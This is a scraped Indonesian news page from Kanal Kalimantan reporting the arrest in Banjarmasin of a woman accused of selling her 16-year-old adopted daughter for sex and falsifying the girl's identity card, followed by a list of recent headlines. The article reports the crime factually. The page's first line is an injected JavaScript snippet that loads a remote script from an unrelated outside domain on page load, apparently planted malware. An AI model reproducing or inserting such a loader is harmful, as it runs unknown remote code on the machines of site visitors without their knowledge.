(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kriminal Banjarmasin

Ibu Tega Jual Anak Angkat, “Ditawarkan” Hingga Rp1 Juta!


BANJARMASIN, Jajaran Satreskrim Polresta Banjarmasin berhasil menggagalkan upaya perdagangan manusia, berhasil diungkap pada Rabu (9/10) kemarin.

Diketahui, seorang ibu paruh baya berinisial E (57), warga Jalan Sungai Mesa Gang 2 Banjarmasin, tega menjual anak angkatnya yang berinsial DI (16). E sendiri, diamankan aparat kepolisian di kawasan Pasar Sudimampir Banjarmasin.

“Kita mendapatkan laporan dari masyarakat bahwa pelaku sering menjual anaknya. Yang bersangkutan mengaku sebagai ibu angkat,” kata Kasatreskrim Polresta Banjarmasin AKP Ade Papa Rihi dalam keterangan persnya, Kamis (10/10) siang.

AKP Ade menegaskan, anak yang dijual oleh pelaku E bukanlah anak kandung. Melainkan adalah anak angkat yang sejak kecil telah ditanggung biaya hidupnya. “Sudah tinggal bersama dia semenjak kecil,” tegasnya.

Pelaku E sendiri, setelah dicurigai gerak geriknya, dilaporkan masyarakat ke Polsek Banjarmasin Utara dan berkoordinasi dengan Satreskrim di bawah Unit PPA. “Setelah kita lakukan pemeriksaan, bahwa dia menjual anaknya sejak 2 tahun lalu semenjak anak ini berusia 14 tahun,” kata AKP Ade.

Modusnya, E menjual DI kepada laki-laki hidung belang dengan tarif antara Rp250 ribu hingga Rp1 juta. Selain itu, E juga diketahui memanipulasi KTP milik DI untuk mengecoh aparat Satpol PP Kota Banjarmasin jika ada pemeriksaan.

“Dia bekerjasama dengan calo pembuatan KTP dan masih didalami, jadi usia DI yang tadinya 16 tahun dibuat usianya naik jadi 19 tahun atau dituakan,” ungkapnya.

Adapun pasal yang dikenakan kepada pelaku E, yaitu pasal 2 ayat 1 UU Nomor 21 Tahun 2007 tentang Pemberantasan Perdagangan Orang dan Pasal 83 UU Nomor 35 Tahun 2014 tentang Perlindungan Anak. “Ancaman pidana paling singkat 3 tahun dan paling lama 15 tahun,” tutup AKP Ade. (fikri)

Reporter : Fikri
Editor : Bie


Desy Arfianty

Recent Posts

Musrenbang Kecamatan Selat Digelar, Ini Kata Wakil Bupati Kapuas

KANALKALIMANTAN.COM, KUALA KAPUAS - Musyawarah Perencanaan Pembangunan (Musrenbang) Tingkat Kecamatan Selat dalam rangka penyusunan Rencana… Read More

10 jam ago

Resmikan 166 Sekolah Rakyat, Prabowo Target 500 Sekolah Rakyat di 2029

KANALKALIMANTAN.COM, BANJARBARU - Presiden Republik Indonesia Prabowo Subianto didampingi sejumlah Menteri Kabinet Merah Putih dan… Read More

11 jam ago

Prabowo Janjikan Kampus Kedokteran Gratis

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto berkeinginan membuka banyak sekolah dan kampus. Ia memandang pendidikan… Read More

13 jam ago

Tiba di Banjarbaru, Presiden Prabowo Resmikan 166 Sekolah Rakyat

KANALKALIMANTAN.COM, BANJARBARU - Presiden Prabowo Subianto melakukan kunjungan kerja ke Kota Banjarbaru, Provinsi Kalimantan Selatan,… Read More

17 jam ago

Peluncuran Budaya Sekolah Aman dan Nyaman di Banjarbaru, Ini Kata Mendikdasmen Abdul Mu’ti

KANALKALIMANTAN.COM, BANJARBARU – Kota Banjarbaru menjadi salah satu titik penting peluncuran budaya sekolah aman dan… Read More

17 jam ago

Nilai TKA Jadi Syarat Wajib untuk Siswa Eligible SNBP 2026

KANALKALIMANTAN.COM, JAKARTA - Seleksi Nasional Berdasarkan Prestasi (SNBP) 2026 menjadi perhatian siswa kelas akhir SMA,… Read More

20 jam ago

This website uses cookies.